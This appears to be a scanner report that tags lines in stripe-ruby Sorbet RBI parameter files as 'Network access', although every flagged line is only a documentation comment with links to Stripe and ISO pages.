    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }         def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required
  • Network accessline 355
    def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.         sig {
  • Network accessline 356
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 514
    class Item < ::Stripe::RequestParams         class BillingThresholds < ::Stripe::RequestParams           # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to m
  • Network accessline 515
    class BillingThresholds < ::Stripe::RequestParams           # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.s
  • Network accessline 516
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 558
    def initialize(interval: nil, interval_count: nil); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre
  • Network accessline 559
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 560
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 563
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 564
    def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.           sig { returns(String) }
  • Network accessline 565
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 575
    }           def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the 
  • Network accessline 576
    def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s
  • Network accessline 577
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 620
    }         def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's 
  • Network accessline 621
    def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata`
  • Network accessline 622
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k
  • Network accessline 637
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }         def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 638
    def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.         sig { returns(T.nilable(SubscriptionScheduleCreateParams::Phase::Item::PriceData)) }
  • Network accessline 639
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 649
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }         def quantity=(_quantity); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates
  • Network accessline 650
    def quantity=(_quantity); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_ta
  • Network accessline 651
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 691
    }       def add_invoice_items=(_add_invoice_items); end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the appl
  • Network accessline 692
    def add_invoice_items=(_add_invoice_items); end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application 
  • Network accessline 693
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 703
    }       def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr
  • Network accessline 704
    def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For
  • Network accessline 705
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 722
    sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) }       def collection_method=(_collection_method); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 723
    def collection_method=(_collection_method); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { return
  • Network accessline 724
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 732
    sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) }       def default_payment_method=(_default_payment_method); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates w
  • Network accessline 733
    def default_payment_method=(_default_payment_method); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/c
  • Network accessline 734
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w
  • Network accessline 779
    }       def items=(_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is ent
  • Network accessline 780
    def items=(_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, ad
  • Network accessline 781
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex
  • Network accessline 791
    sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) }       def on_behalf_of=(_on_behalf_of); end       # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscripti
  • Network accessline 792
    def on_behalf_of=(_on_behalf_of); end       # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billi
  • Network accessline 793
    # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re
  • Network accessline 879
    sig { params(_from_subscription: T.nilable(String)).returns(T.nilable(String)) }     def from_subscription=(_from_subscription); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This
  • Network accessline 880
    def from_subscription=(_from_subscription); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured fo
  • Network accessline 881
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_update_params.rbi

  • Network accessline 113
    def initialize(amount_percent: nil, destination: nil); end       end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferre
  • Network accessline 114
    end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be 
  • Network accessline 115
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 125
    }       def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr
  • Network accessline 126
    def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For
  • Network accessline 127
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 263
    end         class PriceData < ::Stripe::RequestParams           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 264
    class PriceData < ::Stripe::RequestParams           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { retu
  • Network accessline 265
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 268
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 269
    def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.           sig { returns(String) }
  • Network accessline 270
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 273
    sig { params(_product: String).returns(String) }           def product=(_product); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behav
  • Network accessline 274
    def product=(_product); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti
  • Network accessline 275
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 308
    }         def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form
  • Network accessline 309
    def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 310
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 327
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }         def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required
  • Network accessline 328
    def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.         sig {
  • Network accessline 329
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 487
    class Item < ::Stripe::RequestParams         class BillingThresholds < ::Stripe::RequestParams           # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to m
  • Network accessline 488
    class BillingThresholds < ::Stripe::RequestParams           # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.s
  • Network accessline 489
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 531
    def initialize(interval: nil, interval_count: nil); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre
  • Network accessline 532
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 533
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 536
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 537
    def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.           sig { returns(String) }
  • Network accessline 538
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 548
    }           def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the 
  • Network accessline 549
    def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s
  • Network accessline 550
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 593
    }         def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's 
  • Network accessline 594
    def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata`
  • Network accessline 595
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k
  • Network accessline 610
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }         def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 611
    def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.         sig { returns(T.nilable(SubscriptionScheduleUpdateParams::Phase::Item::PriceData)) }
  • Network accessline 612
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 622
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }         def quantity=(_quantity); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates
  • Network accessline 623
    def quantity=(_quantity); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_ta
  • Network accessline 624
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 664
    }       def add_invoice_items=(_add_invoice_items); end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the appl
  • Network accessline 665
    def add_invoice_items=(_add_invoice_items); end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application 
  • Network accessline 666
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 676
    }       def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr
  • Network accessline 677
    def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For
  • Network accessline 678
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 695
    sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) }       def collection_method=(_collection_method); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 696
    def collection_method=(_collection_method); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { return
  • Network accessline 697
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 705
    sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) }       def default_payment_method=(_default_payment_method); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates w
  • Network accessline 706
    def default_payment_method=(_default_payment_method); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/c
  • Network accessline 707
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w
  • Network accessline 754
    }       def items=(_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is ent
  • Network accessline 755
    def items=(_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, ad
  • Network accessline 756
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex
  • Network accessline 766
    sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) }       def on_behalf_of=(_on_behalf_of); end       # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscripti
  • Network accessline 767
    def on_behalf_of=(_on_behalf_of); end       # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billi
  • Network accessline 768
    # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re
  • Network accessline 842
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 843
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 844
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_search_params.rbi

  • Network accessline 20
    sig { params(_page: T.nilable(String)).returns(T.nilable(String)) }     def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query 
  • Network accessline 21
    def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for subscriptions](https://docs.stripe.com/search#query-fields-fo
  • Network accessline 22
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for subscriptions](https://docs.stripe.com/search#query-fields-for-subscriptions).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_update_params.rbi

  • Network accessline 76
    end       class PriceData < ::Stripe::RequestParams         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 77
    class PriceData < ::Stripe::RequestParams         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(
  • Network accessline 78
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 81
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 82
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.         sig { returns(String) }
  • Network accessline 83
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 86
    sig { params(_product: String).returns(String) }         def product=(_product); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-
  • Network accessline 87
    def product=(_product); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting
  • Network accessline 88
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 119
    }       def discounts=(_discounts); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. 
  • Network accessline 120
    def discounts=(_discounts); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 121
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 138
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 139
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.       sig { returns(T.nilable(SubscriptionUpdateParams::AddInvoiceItem::Price
  • Network accessline 140
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 293
    class Item < ::Stripe::RequestParams       class BillingThresholds < ::Stripe::RequestParams         # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet 
  • Network accessline 294
    class BillingThresholds < ::Stripe::RequestParams         # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.str
  • Network accessline 295
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 337
    def initialize(interval: nil, interval_count: nil); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie
  • Network accessline 338
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 339
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 342
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 343
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.         sig { returns(String) }
  • Network accessline 344
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 354
    }         def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri
  • Network accessline 355
    def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set
  • Network accessline 356
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 410
    sig { params(_id: T.nilable(String)).returns(T.nilable(String)) }       def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf
  • Network accessline 411
    def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be
  • Network accessline 412
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 427
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 428
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.       sig { returns(T.nilable(SubscriptionUpdateParams::Item::PriceData)) }
  • Network accessline 429
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 439
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }       def quantity=(_quantity); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](h
  • Network accessline 440
    def quantity=(_quantity); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_
  • Network accessline 441
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 553
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }           def network=(_network); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based o
  • Network accessline 554
    def network=(_network); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-aut
  • Network accessline 555
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 796
    }       def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo
  • Network accessline 797
    def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at 
  • Network accessline 798
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 872
    }     def add_invoice_items=(_add_invoice_items); end     # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applicat
  • Network accessline 873
    def add_invoice_items=(_add_invoice_items); end     # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application ow
  • Network accessline 874
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 886
    }     def automatic_tax=(_automatic_tax); end     # Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentat
  • Network accessline 887
    def automatic_tax=(_automatic_tax); end     # Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentation](h
  • Network accessline 888
    # Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions
  • Network accessline 927
    sig { params(_days_until_due: T.nilable(Integer)).returns(T.nilable(Integer)) }     def days_until_due=(_days_until_due); end     # ID of the default payment method for the subscription. It must belong to the customer associated with the su
  • Network accessline 928
